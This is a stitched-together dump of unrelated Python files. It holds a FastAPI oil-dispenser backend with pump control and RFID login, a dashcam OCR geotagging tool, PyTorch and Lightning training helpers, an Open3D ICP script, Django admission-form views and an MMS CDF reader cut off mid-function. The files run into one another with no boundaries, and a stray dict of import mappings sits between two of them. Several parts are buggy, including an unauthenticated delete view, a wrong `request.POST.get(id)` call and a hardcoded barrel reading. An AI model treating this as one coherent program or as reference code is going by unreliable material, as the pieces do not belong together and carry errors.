        pump_service.cleanup()

atexit.register(cleanup)

def get_db():
    db = SessionLocal()
    try:
        yield db
    finally:
        db.close()

@app.post("/userInfo/", response_model=schemas.User, tags=["user"])
async def get_user(request: Request, db: Session = Depends(get_db)):
    body = await request.json()
    db_user = crud.get_user_by_name(body["name"], db=db)

    if db_user == None:
        raise HTTPException(
            status_code=status.HTTP_404_NOT_FOUND, detail="User not found."
        )
    return db_user

@app.post("/dispenses/", tags=["dispense"])
async def create_dispense(request: Request, db: Session = Depends(get_db)):
    body = await request.json()
    print(f"[{datetime.utcnow()}] Start dispensing oil: ", body)

    carManufacturer = (
        body["carManufacturer"] if body["carManufacturer"] != "None" else ""
    )
    carModel = body["carModel"] if body["carModel"] != "None" else ""
    carEngineType = body["carEngineType"] if body["carEngineType"] != "None" else ""

    if running_on_raspberrypi():
        pump_id = get_pump_id(body["oilType"])
        dispense_duration = get_dispense_duration(body["dispensedQuantity"])
        pump_service.control_pump("start", pump_id)
        time.sleep(dispense_duration)
        pump_service.control_pump("stop", pump_id)

    dispense = models.Dispense(
        car_registration_number=body["registrationNumber"],
        car_manufacturer=carManufacturer,
        car_model=carModel,
        car_engine_type=carEngineType,
        suggested_quantity=body["suggestedQuantity"],
        dispensed_quantity=body["dispensedQuantity"],
        dispense_type=body["dispenseType"],
        user_id=body["userId"],
        created_at=datetime.utcnow(),
        barrels_id=barrels_service.get_barrel_id(body["oilType"], db=db),
    )

    db_dispense = crud.create_dispense(db=db, dispense=dispense)
    print("dispense results", db_dispense.id)

    crud.update_barrels(
        id=barrels_service.get_barrel_id(body["oilType"], db=db),
        dispensed_quantity=body["dispensedQuantity"],
        db=db,
    )
    print(
        f"barrels table updated for id: {barrels_service.get_barrel_id(body['oilType'],db=db)}"
    )

    get_remaining_quantity = crud.get_remaining_quantity(
        id=barrels_service.get_barrel_id(body["oilType"], db=db), db=db
    )

    data = {}
    for results in get_remaining_quantity:
        data = {
            "data": {
                "oil_type": results[0],
                "remaining_quantity": results[1],
                "remaining_quantity_perc": round(results[2], 2),
                "remainingInBarrel": "73.22 L (35.85%)",
            }
        }

    cloud_results = await crud.get_cloud_dispense_data(db_dispense.id, db=db)
    print("cloud results", cloud_results)

    send_info_to_azure = senddispenserinfo.SendDispensingIinfo(
        iotdevices.iot_devices["rd01"]
    )

    if cloud_results == None:
        print("nothing returned")
        pass
    else:
        await send_info_to_azure.send_dispense_info(
            cloud_results[0][0],
            cloud_results[0][1].strftime("%Y-%m-%d, %H:%M:%S"),
            cloud_results[0][2],
            cloud_results[0][3],
            cloud_results[0][4],
            cloud_results[0][5],
            cloud_results[0][7],
            cloud_results[0][6],
            cloud_results[0][8],
            cloud_results[0][9],
            cloud_results[0][10],
            data["data"]["remaining_quantity"],
            data["data"]["remaining_quantity_perc"],
        )

    return data

@app.get("/dispenses/{user_id}", tags=["dispense"])
def get_dispense(user_id: int, db: Session = Depends(get_db)):
    get_transaction = crud.get_dispense(user_id=int(user_id), db=db)
    return get_transaction

@app.get("/barrel/", tags=["barrel"])
def get_barrel(db: Session = Depends(get_db)):
    db_barrel = crud.get_barrel(db)
    return db_barrel

@app.put("/barrel/{id}", tags=["barrel"])
def get_barrel(id: int, db: Session = Depends(get_db)):
    db_barrel = crud.update_barrels_by_id(id=id, db=db)
    return db_barrel

@app.get("/barreltypes/", response_model=List[schemas.BarrelType], tags=["barreltype"])
def get_barrel_types(db: Session = Depends(get_db)):
    db_barrel_types = crud.get_barrel_types(db)
    return db_barrel_types

@app.post("/order/", response_model=schemas.Order, tags=["order"])
async def create_order(order: schemas.OrderCreate, db: Session = Depends(get_db)):
    crud.create_order(db=db, order=order)
    data = """{success}"""
    return Response(content=data, media_type="application/xml")

@app.get("/order/", tags=["order"])
def get_order(db: Session = Depends(get_db)):
    db_orders = crud.get_order_records(db=db)
    return db_orders

@app.get("/orders/{user_id}", tags=["order"])
def get_order_transactions(user_id: int, db: Session = Depends(get_db)):
    get_transactions = crud.get_order_transactions(user_id=int(user_id), db=db)
    return get_transactions

@app.get("/environmental-benefits/{user_id}", tags=["order"])
def get_environmental_benefits(user_id: int, db: Session = Depends(get_db)):
    transactions = crud.get_environmental_benefits(user_id=int(user_id), db=db)

    result = []

    for t in transactions:
        enhanced_item = {
            "id": t[0],
            "created_at": t[1],
            "dispensed_quantity": t[2],
            "saved_plastic": t[3],
            "saved_co2": t[4],
            "packs": 1 if t[2] < 3 else 2,
        }
        result.append(enhanced_item)

    return result

@app.get("/oilTypes/reg/", tags=["external db"])
async def get_oil_types_by_reg_number(vehicle_reg: str, db: Session = Depends(get_db)):
    print(f"[{datetime.utcnow()}] Received registration number: {vehicle_reg}.")

    MIN_NUMBER_LENGTH = 6

    if len(vehicle_reg) < MIN_NUMBER_LENGTH:
        raise HTTPException(
            status_code=status.HTTP_404_NOT_FOUND,
            detail=f"Car Registration Number not found.",
        )
    else:
        return {
            "recommendedQuantity": "4.5",
            "details": "Volkswagen (VW) (EU) Passat B7, 3C/36 (2010-2015)",
            "types": crud.get_barrel_records(db),
        }

@app.get("/oilTypes/", tags=["external db"])
def get_oil_types(db: Session = Depends(get_db)):
    print(f"[{datetime.utcnow()}] Received request to get the oil types.")
    db_barrel_records = crud.get_barrel_records(db)
    return db_barrel_records

@app.post("/api/pump/procedure", tags=["pump"])
async def pump_start(request: Request):
    body = await request.json()
    print(f"[{datetime.utcnow()}] Received command for Pump {body['pumpId']}.", body)

    if running_on_raspberrypi():
        pump_service.control_pump(body["action"], body["pumpId"])

    return

##RFID Login Handling - Begin

# Start the RFID reader to keep reading forever
rfid.start_rfid_reader()

# set up the rfid_read_event to notify when a value has been read from the RFID
global rfid_read_event
rfid_read_event = asyncio.Event()

# Create and start the Websocket for RFID login information to be sent to client
@app.websocket("/rfid_login")
async def rfid_login_handler(websocket: WebSocket):
    global rfid_user
    await websocket.accept()
    while True:
        await rfid_read_event.wait()
        if rfid_user is not None:
            user_json = json.dumps(
                {"id": rfid_user["id"], "name": f"{rfid_user['name']}"}
            )
            print(f"Notifying client of RFID User for {user_json}")
            await websocket.send_text(user_json)
            rfid_user = None
        rfid_read_event.clear()

# Given an RFID token id, looks up user in database and sends notification to front end that user wants to log in
def notify_client(rfid_token_id, db):
    global rfid_user
    rfid_user = crud.get_user_by_rfid_tag(rfid_token_id, db)
    print(f"Found User for rfid_token_id {rfid_token_id}: {rfid_user}")
    rfid_read_event.set()

##RFID Login Handling - End


#
# Little Script for Geotag Pictures of a Garmin DashCam
# Robert Benet - 30/08/2020
#
# Information extract from:
# How to configur Tesseract
# https://stackoverflow.com/questions/50951955/pytesseract-tesseractnotfound-error-tesseract-is-not-installed-or-its-not-i/53672281
# Install Teseract for windows
# https://github.com/UB-Mannheim/tesseract/wiki
# Install Tesseact for Python
# https://pypi.org/project/pytesseract/
# Tutorial for Tesseract
# https://nanonets.com/blog/ocr-with-tesseract/
# EXIF
# https://pypi.org/project/exif/
# pip install exif
# pyexiv2 - No works fine
# https://pypi.org/project/pyexiv2/
# OpenCV
# pip install opencv-python

import pytesseract
from pytesseract import Output
import cv2
import numpy as np
from exif import Image
#from pyexiv2 import Image

class Ocr_Dascam():
    def __init__(self,dir_to_find=None,oem=None,psm=None,parent=None,filter_image_selected='Dilate'):
        from os import scandir,path

        # App Message
        if parent==None:
            self.parent=self
            self.parent.info=self.info
        else:
            self.parent=parent

        #check exist and set path of EXE Tesseract
        exe_tesseract=r'C:\Program Files\Tesseract-OCR\tesseract.exe'
        if not path.exists(exe_tesseract):
            self.parent.info('File not exist: '+exe_tesseract)
            return
        pytesseract.pytesseract.tesseract_cmd = exe_tesseract

        # Adding custom options
        if not oem==None and not psm==None:
            custom_config=r'--oem '+str(oem)+' --psm '+str(psm[:2])
        elif not oem==None:
            custom_config=r'--oem '+str(oem)
            custom_config=r' --psm'+str(psm)
        else:
            custom_config = r'--oem 3 '

        # Select Photo Directory
        if dir_to_find==None:
            self.select_directory()
        else:
            self.dir_to_find=dir_to_find

        result={}
        correct=0
        incorrect=0
        # Create TXT File with Results
        file_txt=open(path.join(self.dir_to_find,'Result_OCR_Scan_'+filter_image_selected+'.txt'),'w')
        file_txt.write('Configuration '+custom_config+chr(10))
        file_txt.write('Filter '+filter_image_selected+chr(10)+chr(10))

        for file in scandir(self.dir_to_find):
            # extract name file and extension separate
            name,ext=path.splitext(file.name)

            # Find coordinates from a picture file
            if ext.upper()=='.JPG' or ext.upper()=='.JPEG' or ext.upper()=='.PNG':
                # Update date Creation of JPG
                capture_time_sec_crea=path.getctime(file) # Creation Date
                capture_time_sec_modi=path.getmtime(file) # Modification Date
                if capture_time_sec_crea<capture_time_sec_modi: # Sometimes creation date is wrong
                    capture_time_sec=capture_time_sec_crea
                else:
                    capture_time_sec=capture_time_sec_modi

                find=False
                incorrect+=1
                day=' No Encontrado '
                hour=''
                lat=''
                lon=''

                # Filter Image for a good reading
                self.filter_image(file.path,filter_image_selected)

                read = pytesseract.image_to_data(self.img, output_type=Output.DICT)
                day=' No Encontrado '+'.'.join(str(x).strip() for x in read['text'])
                #print(file.path,read['text'])

                for i in range(len(read['text'])):
                    if read['text'][i]=='GARMIN':
                        if len(read['text'])>i+4:

                            day=read['text'][i+1]
                            hour=read['text'][i+2]
                            try:
                                lat=float(read['text'][i+3])
                            except ValueError:
                                break
                            try:
                                lon=float(read['text'][i+4])
                            except ValueError:
                                break
                            if lat>-90 and lat<90 and lon>-180 and lon<180 and not str(lat).strip()=='' and not str(lon).strip()=='':
                                self.geotag_photo(file.path,lat,lon)
                                self.changeFileCreationTime(file.path,capture_time_sec)
                                find=True
                                incorrect-=1
                                correct+=1
                            break

                result[file.path]={'day':day,'hour':hour,'lat':lat,'lon':lon,'find':find}
                text_result=file.path+", "+day+", "+hour+",    GPS:,"+str(lat)+","+str(lon)+","+str(find)
                file_txt.write(text_result+chr(10))
                self.parent.info(text_result)

        #self.parent.info(result)
        self.parent.info('GeoLocalizados   : '+str(correct))
        self.parent.info('No GeoLocalizados: '+str(incorrect))

        file_txt.write('GeoLocalizados   : '+str(correct)+chr(10))
        file_txt.write('No GeoLocalizados: '+str(incorrect)+chr(10))
        file_txt.close()

    # Change File Creation
    def changeFileCreationTime(self,fname, newtime):
        # https://stackoverflow.com/questions/4996405/how-do-i-change-the-file-creation-date-of-a-windows-file
        import pywintypes, win32file, win32con
        wintime = pywintypes.Time(newtime)
        winfile = win32file.CreateFile(
            fname, win32con.GENERIC_WRITE,
            win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE,
            None, win32con.OPEN_EXISTING,
            win32con.FILE_ATTRIBUTE_NORMAL, None)

        win32file.SetFileTime(winfile, wintime, None, None)
        winfile.close()

    # Geotag Photo
    def geotag_photo(self,file,lat,lon):

        exif_lat=(int(lat),int(lat % 1 * 60),(lat % 1 * 60)%1*60)
        exif_lon=(int(lon),int(lon % 1 * 60),(lon % 1 * 60)%1*60)
        if int(lat)<0:
            exif_lat_ref='S'
        else:
            exif_lat_ref='N'

        if int(lon)<0:
            exif_lon_ref='W'
        else:
            exif_lon_ref='E'

        with open(file, 'rb') as image_file:
            my_image = Image(image_file)
        my_image.make = "Python"
        my_image.gps_latitude_ref=exif_lat_ref
        my_image.gps_latitude=exif_lat
        my_image.gps_longitude_ref= exif_lon_ref
        my_image.gps_longitude= exif_lon

        with open(file, 'wb') as new_image_file:
            new_image_file.write(my_image.get_file())

        #self.parent.info(exif_lat,"_",exif_lon)

    # Select directory
    def select_directory(self):
        from tkinter import filedialog
        from tkinter import Tk
        root = Tk()
        root.withdraw()
        self.dir_to_find = filedialog.askdirectory()

    # App Message
    def info(self,message):
        print (message)

    def filter_image(self,file,filter):
        img = cv2.imread(file)
        img=self.get_grayscale(img)
        if filter==None or filter=='Dilate':
            self.img=self.dilate(img)
        elif filter=='Thresholding':
            self.img=self.thresholding(img)
        elif filter=='Remove Noise':
            self.img=self.remove_noise(img)
        elif filter=='Erosion':
            self.img=self.erode(img)
        elif filter=='Opening':
            self.img=self.opening(img)
        elif filter=='Canny':
            self.img=self.canny(img)
        elif filter=='Eskew':
            self.img=self.deskew(img)

    # gray scale
    def get_grayscale(self,image):
        return cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

    # noise removal
    def remove_noise(self,image):
        return cv2.medianBlur(image,5)

    #thresholding
    def thresholding(self,image):
        return cv2.threshold(image, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]

    #dilation
    def dilate(self,image):
        kernel = np.ones((5,5),np.uint8)
        return cv2.dilate(image, kernel, iterations = 1)

    #erosion
    def erode(self,image):
        kernel = np.ones((5,5),np.uint8)
        return cv2.erode(image, kernel, iterations = 1)

    #opening - erosion followed by dilation
    def opening(self,image):
        kernel = np.ones((5,5),np.uint8)
        return cv2.morphologyEx(image, cv2.MORPH_OPEN, kernel)

    #canny edge detection
    def canny(self,image):
        return cv2.Canny(image, 100, 200)

    #skew correction
    def deskew(self,image):
        coords = np.column_stack(np.where(image > 0))
        angle = cv2.minAreaRect(coords)[-1]
        if angle < -45:
            angle = -(90 + angle)
        else:
            angle = -angle
        (h, w) = image.shape[:2]
        center = (w // 2, h // 2)
        M = cv2.getRotationMatrix2D(center, angle, 1.0)
        rotated = cv2.warpAffine(image, M, (w, h), flags=cv2.INTER_CUBIC, borderMode=cv2.BORDER_REPLICATE)
        return rotated

    #template matching
    def match_template(self,image, template):
        return cv2.matchTemplate(image, template, cv2.TM_CCOEFF_NORMED)

if __name__ == "__main__":
    # Load Main Modul
    #action=Ocr_Dascam()

    import tkinter as tk
    from tkinter import ttk

    app = tk.Tk()
    app.title("GeoTag Photos from Garmin Dash Cam")
    app.geometry('500x200')

    line0=tk.Label(app, text = '')
    line0.grid(column=0, row=0)

    labelOEM = tk.Label(app, text = "OEM")
    labelOEM.grid(column=0, row=2,sticky='W',padx=5)

    comboOEM = ttk.Combobox(app,values=[0,1,2,3])
    comboOEM.grid(column=1, row=2,sticky='W',padx=5)
    comboOEM.current(3)

    labelPSM = tk.Label(app, text = "PSM")
    labelPSM.grid(column=0, row=3,sticky='W',padx=5)

    comboPSM= ttk.Combobox(app, width=55,values=['0 Orientation and script detection (OSD) only.','1    Automatic page segmentation with OSD.','2    Automatic page segmentation, but no OSD, or OCR.','3    Fully automatic page segmentation, but no OSD. (Default)','4    Assume a single column of text of variable sizes.','5    Assume a single uniform block of vertically aligned text.','6    Assume a single uniform block of text.','7    Treat the image as a single text line.','8    Treat the image as a single word.','9    Treat the image as a single word in a circle.','10    Treat the image as a single character.','11    Sparse text. Find as much text as possible in no particular order.','12    Sparse text with OSD.','13    Raw line. Treat the image as a single text line, bypassing hacks that are'])
    comboPSM.grid(column=1, row=3,sticky='W',padx=5)
    comboPSM.current(3)

    labelFilter = tk.Label(app, text = "Photo Filter")
    labelFilter.grid(column=0, row=5,sticky='W',padx=5)

    comboFilter= ttk.Combobox(app,values=['Dilate','Thresholding','Remove Noise','Erosion','Opening','Canny','Eskew'])
    comboFilter.grid(column=1, row=5,sticky='W',padx=5)
    comboFilter.current(0)

    line6=tk.Label(app, text = '')
    line6.grid(column=0, row=6)

    buton_action=tk.Button(app, text = "Execute",command=lambda: Ocr_Dascam(oem=comboOEM.get(),psm=comboPSM.get(),filter_image_selected=comboFilter.get()))
    buton_action.grid(column=1, row=7,sticky='E',padx=5)

    app.mainloop()
    app.quit()

    #print(comboOEM .current(), comboOEM.get())
    #action=Ocr_Dascam(dir_to_find=r'C:\GisBike\Test\SECRETARIA\VOLTA 2020\RECORREGUTS\ETAPA 1\FOTOS\RECORREGUT_TEST')

{'scandir': 'os.scandir', 'path': 'os.path', 'pywintypes': 'pywintypes', 'win32file': 'win32file', 'win32con': 'win32con', 'filedialog': 'tkinter.filedialog', 'Tk': 'tkinter.Tk'}


import math
import torch

class WarmupCosineSchedule(torch.optim.lr_scheduler.LambdaLR):
    def __init__(
        self,
        optimizer,
        warmup_steps,
        start_lr,
        ref_lr,
        T_max,
        last_epoch=-1,
        final_lr=0.
    ):
        self.start_lr = start_lr
        self.ref_lr = ref_lr
        self.final_lr = final_lr
        self.warmup_steps = warmup_steps
        self.T_max = T_max - warmup_steps
        super(WarmupCosineSchedule, self).__init__(
            optimizer,
            self.lr_lambda,
            last_epoch=last_epoch)

    def lr_lambda(self, step):
        if step < self.warmup_steps:
            progress = float(step) / float(max(1, self.warmup_steps))
            new_lr = self.start_lr + progress * (self.ref_lr - self.start_lr)
            return new_lr / self.ref_lr

        # -- progress after warmup
        progress = float(step - self.warmup_steps) / float(max(1, self.T_max))
        new_lr = max(self.final_lr,
                     self.final_lr + (self.ref_lr - self.final_lr) * 0.5 * (1. + math.cos(math.pi * progress)))
        return new_lr / self.ref_lr

class AddGaussianNoise(object):
    def __init__(self, p, mean=0., std=1.):
        self.p = p
        self.std = std
        self.mean = mean

    def __call__(self, tensor):
        if torch.rand(1) < self.p:
            return tensor + torch.randn(tensor.size()) * self.std + self.mean
        return tensor

    def __repr__(self):
        return self.__class__.__name__ + '(mean={0}, std={1})'.format(self.mean, self.std)


import pytorch_lightning as pl
from datamodules.datamodule import CustomDataModule
from model.model import Network

def train(args, fold_num):
  dataModule = CustomDataModule(args)
  dataModule.set_fold_num(fold_num)
  dataModule.setup('fit')

  model = Network(args)

  model_checkpoint = pl.callbacks.ModelCheckpoint(
      monitor = 'valid_loss',
      dirpath = f'{args.log_dir}/{fold_num}',
      mode = 'min')

  earlystop = pl.callbacks.EarlyStopping(
      monitor='valid_loss',
      patience = args.patience,
      verbose=True,
      mode='min')

  train_dict = dict(
      accelerator= args.accelerator,
      devices= args.device,
      callbacks = [model_checkpoint, earlystop],
      precision = args.precision,
      max_epochs = args.epochs
      )

  trainer = pl.Trainer(**train_dict)
  trainer.fit(model, dataModule)


import cv2
import numpy as np
import os
import json
import math
import open3d as o3d

def convert_json_xyz(cone_points_json):
    xyz = []
    pcd = o3d.geometry.PointCloud()
    with open(cone_points_json) as jsonFile:
        cone_data = json.load(jsonFile)
        for cone in cone_data:
            cone_point = cone.get("point")
            xyz.append([cone_point[0], cone_point[1], 0])
    # print(np.asarray(xyz), "\n")
    pcd.points = o3d.utility.Vector3dVector(np.asarray(xyz))
    return pcd

trans_init = np.asarray([[1.0, 0.0, 0.0, 0.0],
                         [0.0, 1.0, 0.0, -1.0],
                         [0.0, 0.0, 1.0, 0.0],
                         [0.0, 0.0, 0.0, 1.0]])

def find_transform(cone_points_json, previous_points_json):
    xyz = convert_json_xyz(cone_points_json)
    previous_xyz = convert_json_xyz(previous_points_json)
    reg_p2p = o3d.pipelines.registration.registration_icp(
        xyz, previous_xyz, 50, trans_init,
        o3d.pipelines.registration.TransformationEstimationPointToPoint())
    print(reg_p2p.transformation[:-1, :-1].reshape((3, 3)), "\n")
    return [reg_p2p.transformation[0][3], reg_p2p.transformation[1][3]]

class ICP:
    def __init__(self, video_width=1280, video_height=720, window_width=2560, window_height=1600):
        self.video_width = video_width
        self.video_height = video_height
        self.window_height = window_height
        self.window_width = window_width
        self.height_ratio = window_height / video_height
        self.width_ratio = window_width / video_width
        self.average_point = [0, 0]
        self.out_dir = 'C:\\Users\\terry\\MICHIGAN\\MRacing\\YOLOv7-cone\\yolov7-cone\\runs\\velocity_vectors'
        self.cone_points_dir = 'C:\\Users\\terry\\MICHIGAN\\MRacing\\YOLOv7-cone\\yolov7-cone\\runs\\cone_points'

    def find_all_transforms(self):
        for frame in range(len(os.listdir(self.cone_points_dir))):
            print("velocity vector progress | ", frame)
            if frame != 0:
                velocity_vector = find_transform(os.path.join(self.cone_points_dir, str(frame) + '.json'),
                                                 os.path.join(self.cone_points_dir, str(frame - 1) + '.json'))
                velocity_vector = {
                    "velocity_vector": velocity_vector
                }
                json_object = json.dumps(velocity_vector, indent=4)
                jsonfile = open(os.path.join(self.out_dir, str(frame) + '.json'), 'w')
                jsonfile.write(json_object)
                jsonfile.close()

        with open(os.path.join(self.out_dir, "1.json")) as jsonFile:
            velocity_vector = json.load(jsonFile)
            jsonfile = open(os.path.join(self.out_dir, '0.json'), 'w')
            json_object = json.dumps(velocity_vector, indent=4)
            jsonfile.write(json_object)
            jsonfile.close()


from django.shortcuts import render, redirect
from django.http import HttpResponse
from .models import ApplicationForm
from django.views.generic import DetailView
from django.http import JsonResponse
from PIL import Image
from django.core import serializers
from django.contrib import messages
from django.core.paginator import Paginator,PageNotAnInteger,EmptyPage
from portal.views import login_required
import json
from datetime import datetime
from django.db.models import Q

# Create your views here.

@login_required
def formSave(request):
    if request.method == "POST":
        reg = request.POST['regno'] #regno name is same on html field
        try:
            im = request.FILES["image"]
        except:
            im = None
        is_ajax = request.headers.get('X-Requested-With') == 'XMLHttpRequest'
       # check if uploaded image is valid (for example not video file ) .
        if not im == None:
            try:
                Image.open(im)
            except:
                if is_ajax:
                    return JsonResponse({'status':'500','message':'Invalid image    !'})
                else:
                    # messages.error(request, 'sorry, your image is invalid')
                    return redirect('save')
        dt = request.POST['date']
        sname = request.POST['surname']
        nm = request.POST['name']
        fn = request.POST['fname']
        mn = request.POST['mname']
        ad = request.POST['adno']
        db=request.POST['dob']
        cty = request.POST['city']
        gen= request.POST['gender']
        pl= request.POST['place']
        dist= request.POST['dist']
        st= request.POST['State']
        phy= request.POST['physical problems']
        school= request.POST['schoolname']
        data = ApplicationForm(reg_no = reg,surname=sname,name=nm,fname=fn,mname=mn, adhar_no =ad,
        gender=gen,place = pl,dist=dist,state=st,physical=phy,schoolname=school,date=dt,dob=db,profile_pic=im,city=cty)
        data.save()
        return JsonResponse({'status':'200','message':'Saved successfully!'})
    return render(request,'admission-form.html')

@login_required
def Show_View(request):
    data = ApplicationForm.objects.all()
    return render(request, 'admission-form.html')

def Home_View(request):
    return render(request, 'login.html')

@login_required
def Datatable_View(request):
    data = ApplicationForm.objects.all()
    per_page= 5
    obj_data = Paginator(data,per_page) #it tells how much data show per page
    first_page = obj_data.page(1).object_list
    last_page = obj_data.page_range
    context = {
        'obj_data':obj_data,
        'first_page':first_page,
        'last_page':last_page,
        'data':data
    }
    if request.method == 'POST':
        #getting page number
        page_no = request.POST.get('page_no', None)
        results = list(obj_data.page(page_no).object_list.values('id','reg_no','date','surname','fname','name','adhar_no','mname','gender','place','city','dist','state','state','physical','schoolname',))
        return JsonResponse({"results":results})
    return render(request, 'data-tables.html',context)

@login_required
def search_field(request):
    if request.method =="POST":
        is_ajax = request.headers.get('X-Requested-With') == 'XMLHttpRequest'
        if is_ajax:
            nam= request.POST.get('search_text')
            name_list = ApplicationForm.objects.filter(name__startswith=nam).values()
            return JsonResponse({'status':'200','message':'Ok!','users':list(name_list)})
    return render(request,'search.html')

@login_required
def Student_details(request, id):
    data = ApplicationForm.objects.get(id=id)
    return render(request,'details.html', {'data':data})

@login_required
def Update_View(request):
    if request.method == "POST":
        try:
            im = request.FILES["image"]
        except:
            im = None

        id = request.POST.get('user_id')
        print(id)
        reg = request.POST['regno']
        dt = request.POST['date_reg']
        db=request.POST['dob']

        sname = request.POST['surname']
        nm = request.POST['name']
        fn = request.POST['fname']
        mn = request.POST['mname']
        ad = request.POST['adno']

        cty = request.POST['city']
        gen= request.POST['gender']
        print(gen)
        pl= request.POST['place']
        dist= request.POST['dist']
        st= request.POST['State']
        phy= request.POST['physical problems']
        school= request.POST['schoolname']

        # d = {"num_pages":40, author:"Jack", date:"3324"}
        updateRecords = {
            'reg_no' :reg,
            'surname':sname,
            'name':nm,
            'fname':fn,
            'mname':mn,
            'adhar_no' :ad,
            'gender':gen,
            'place' : pl,
            'dist':dist,
            'state':st,
            'physical':phy,
            'schoolname':school,
            'date':dt,
            'dob':db,
            'city':cty
        }

        if im !=None:
            updateRecords['profile_pic']=im

        user = ApplicationForm.objects.get(id = id)
        print(user)
        user.update(**updateRecords)
        return redirect('search')

def Edit_user_modal(request,id):
    data = ApplicationForm.objects.get(id=id)

    return render(request,'update.html',{'data':data})

def Delete_View(request):
    if request.method == "POST":
        id1 = request.POST.get(id)
        print(id1)
        data = ApplicationForm.objects.get(id = id1)
        data.delete()
        return HttpResponse('deleted')

def delete(request):

    if request.method == "POST":
        id1 = request.POST.get('id')

        data = ApplicationForm.objects.get(id = id1)
        print(data)
        data.delete()
        return redirect('search.html')
    return HttpResponse('deleted')

#JSON RESPONSE

def Data_JSON(request):

    search = str(request.GET["search[value]"])

    offset = int(request.GET['start'])

    limit = int(request.GET['length'])
    count   =   ApplicationForm.objects.count()

    records =   ApplicationForm.objects.all().order_by('name')[offset:limit+offset]

    limit = limit+offset

    # CODE FOR SORTING
    col = int(request.GET['order[0][column]'])
    sort = str(request.GET['order[0][dir]'])
    columns = ['id','name','surname']
    sortable_col = str(columns[col])

    if search =="":
        if sort=="asc":
            sorted_data = ApplicationForm.objects.order_by(sortable_col)[offset:limit+offset]

        else:
            sorted_data = ApplicationForm.objects.order_by(sortable_col).reverse()[offset:limit+offset]

        # all_data =  [records.get_data() for records in records ]
        all_data =  [sorted_data.get_data() for sorted_data in sorted_data ]
        print("You are in if")

        all_records = {
            "recordsTotal": count,
            "recordsFiltered":count,
            "data": all_data,
         }

        return JsonResponse(all_records,safe=False,content_type = "application/json")
    else:

        data = ApplicationForm.objects.filter(Q(name__icontains=search) | Q(surname__icontains=search)).order_by('name')[offset:limit]
        q_data = [data.get_data() for data in data ]

        records = {
            "recordsTotal": count,    # The total count of records in your database, if query exist, it is the count of filtered records
            "recordsFiltered":count,
            "data": q_data,    # Main data to be rendered in table
         }

        return JsonResponse(records,safe=False,content_type = "application/json")

    # else:
    #     print("blank")
    #             # data = records.get_queryset().values()
    #     all_data =  [records.get_data() for records in records ]
    #     print(all_data)

    #     all_records = {
    #         "recordsTotal": count,
    #         "recordsFiltered":count,
    #         "data": all_data,
    #      }

    #     return JsonResponse(all_records,safe=False,content_type = "application/json")

#HTML RENDER

def Data_table_view(request):
    return render(request,'data_tab.html')

def sorting(col,sort):

    pass

def Search_in_Datatable(request):

    return HttpResponse("<h5> Hello </h5> ")


#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Built-in import
import re
import warnings

# 3rd party imports
import numpy as np
from cdflib import CDF, cdfepoch

from ..pyrf.cdfepoch2datetime64 import cdfepoch2datetime64

# Local imports
from ..pyrf.datetime642iso8601 import datetime642iso8601
from ..pyrf.extend_tint import extend_tint
from ..pyrf.iso86012datetime64 import iso86012datetime64
from ..pyrf.time_clip import time_clip
from ..pyrf.ts_skymap import ts_skymap

__author__ = "Louis Richard"
__email__ = "louisr@irfu.se"
__copyright__ = "Copyright 2020-2023"
__license__ = "MIT"
__version__ = "2.4.2"
__status__ = "Prototype"

# Keys of the global attributes to keep from CDF informations
Globkeys = [
    "CDF",
    "Version",
    "Encoding",
    "Checksum",
    "Compressed",
    "LeapSecondUpdated",
]

def _shift_epochs(file, epoch):
    r"""Shift times for particles."""

    epoch_shifted = epoch["data"].copy()

    try:
        delta_minus_var = {
            "data": file.varget(epoch["attrs"]["DELTA_MINUS_VAR"]),
            "attrs": file.varget(epoch["attrs"]["DELTA_MINUS_VAR"]),
        }
        delta_plus_var = {
            "data": file.varget(epoch["attrs"]["DELTA_PLUS_VAR"]),
            "attrs": file.varget(epoch["attrs"]["DELTA_PLUS_VAR"]),
        }

        delta_vars = [delta_minus_var, delta_plus_var]
        flags_vars = [1e3, 1e3]  # Time scaling conversion flags

        for i, delta_var in enumerate(delta_vars):
            if isinstance(delta_var["attrs"], dict) and "UNITS" in delta_var["attrs"]:
                if delta_var["attrs"]["UNITS"].lower() == "s":
                    flags_vars[i] = 1e3
                elif delta_var["attrs"]["UNITS"].lower() == "ms":
                    flags_vars[i] = 1e0
                else:
                    message = " units are not clear, assume s"
                    warnings.warn(message)
            else:
                message = "Epoch_plus_var/Epoch_minus_var units are not clear, assume s"
                warnings.warn(message)

        flag_minus, flag_plus = flags_vars
        t_offset = (
            delta_plus_var["data"] * flag_plus - delta_minus_var["data"] * flag_minus
        )
        t_offset = np.timedelta64(int(np.round(t_offset, 1) * 1e6 / 2), "ns")
        t_diff = (
            delta_plus_var["data"] * flag_plus - delta_minus_var["data"] * flag_minus
        )
        t_diff = np.timedelta64(int(np.round(t_diff, 1) * 1e6 / 2), "ns")
        t_diff_data = np.median(np.diff(epoch["data"])) / 2

        if t_diff_data != np.mean(t_diff):
            t_offset = t_diff_data

        epoch_shifted += t_offset

        return {"data": epoch_shifted, "attrs": epoch["attrs"]}

    except KeyError:
        return {"data": epoch_shifted, "attrs": epoch["attrs"]}

def _get_epochs(file, cdf_name, tint):
    r"""Get epochs form cdf and shift if needed."""

    depend0_key = file.varattsget(cdf_name)["DEPEND_0"]

    out = {
        "data": file.varget(depend0_key, starttime=tint[0], endtime=tint[1]),
    }

    if file.varinq(depend0_key).Data_Type_Description == "CDF_TIME_TT2000":
        try:
            out["data"] = cdfepoch2datetime64(out["data"])

            # Get epoch attributes
            out["attrs"] = file.varattsget(depend0_key)

            # Shift times if particle data
            is_part = re.search("^mms[1-4]_d[ei]s_", cdf_name)
            is_part = is_part or re.search("^mms[1-4]_hpca_", cdf_name)

            if is_part:
                out = _shift_epochs(file, out)

        except TypeError:
            pass

    return out

def get_dist(file_path, cdf_name, tint: list = None):
    r"""Read field named cdf_name in file and convert to velocity distribution
    function.

    Parameters
    ----------
    file_path : str
        Path of the cdf file.
    cdf_name : str
        Name of the target variable in the cdf file.
    tint : list of str, Optional
        Time interval.

    Returns
    -------
    out : xarray.Dataset
        Time series of the velocity distribution function if the target
        specie in the selected time interval.

    """

    tmmode = cdf_name.split("_")[-1]

    if "_dis_" in cdf_name:
        specie = "ions"
    elif "_des_" in cdf_name:
        specie = "electrons"
    else:
        raise AttributeError(
            "Couldn't get the particle species from file name!!",
        )

